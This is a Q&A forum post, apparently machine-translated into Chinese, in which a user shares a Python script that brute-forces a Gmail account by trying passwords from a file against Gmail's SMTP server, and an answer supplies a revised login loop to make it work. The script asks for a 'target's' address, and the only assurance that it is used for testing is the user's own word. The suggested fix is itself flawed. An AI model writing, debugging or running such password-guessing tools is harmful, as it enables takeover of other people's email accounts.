为什么不是';我的Python Gmail Bruteforce没有登录帐户吗

为什么不是';我的Python Gmail Bruteforce没有登录帐户吗,python,brute-force,Python,Brute Force,我最近完成了用于测试安全漏洞的gmail BruteForce。 我做了一个测试帐户,看看蛮力是否对它有效&我在pass文件中输入了正确的密码 每次运行时,它都会说它不正确,而实际上它不是 是因为我的检查器太旧还是我需要使用不同的API方法请告诉我。 这是我的密码 import smtplib print("| Gmail Force |") smtpserver = smtplib.SMTP("smtp.gmail.com", 587) smtp

我最近完成了用于测试安全漏洞的gmail BruteForce。 我做了一个测试帐户,看看蛮力是否对它有效&我在pass文件中输入了正确的密码 每次运行时,它都会说它不正确,而实际上它不是

是因为我的检查器太旧还是我需要使用不同的API方法请告诉我。 这是我的密码

import smtplib
 
print("| Gmail Force |")
 
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
 
user = input("Enter the targets email address: ")
passwfile = input("Enter the password file name: ")
passwfile = open(passwfile, "r")
 
for password in passwfile:
    password = password.rstrip('\n')
    try:
        smtpserver.login(user, password)
 
        print ("[+] Password Found: %s" % password)
        break;
    except smtplib.SMTPAuthenticationError:
        print ("[!] Password Incorrect: %s" % password)
如果您愿意,请自行测试它,它是Python的

谢谢。

代替

passwfile = open(passwfile, "r")
 
for password in passwfile:
    password = password.rstrip('\n')
    try:
        smtpserver.login(user, password)
 
        print ("[+] Password Found: %s" % password)
        break;
    except smtplib.SMTPAuthenticationError:
        print ("[!] Password Incorrect: %s" % password)
试一试

passwfile = open(passwfile, "rb").readlines()
 
for password in passwfile:
    try:
        smtpserver.login(user, password)
 
        print ("[+] Password Found: {}".format(password))
        pass
    except:
        print ("[!] Password Incorrect: {}".format(password))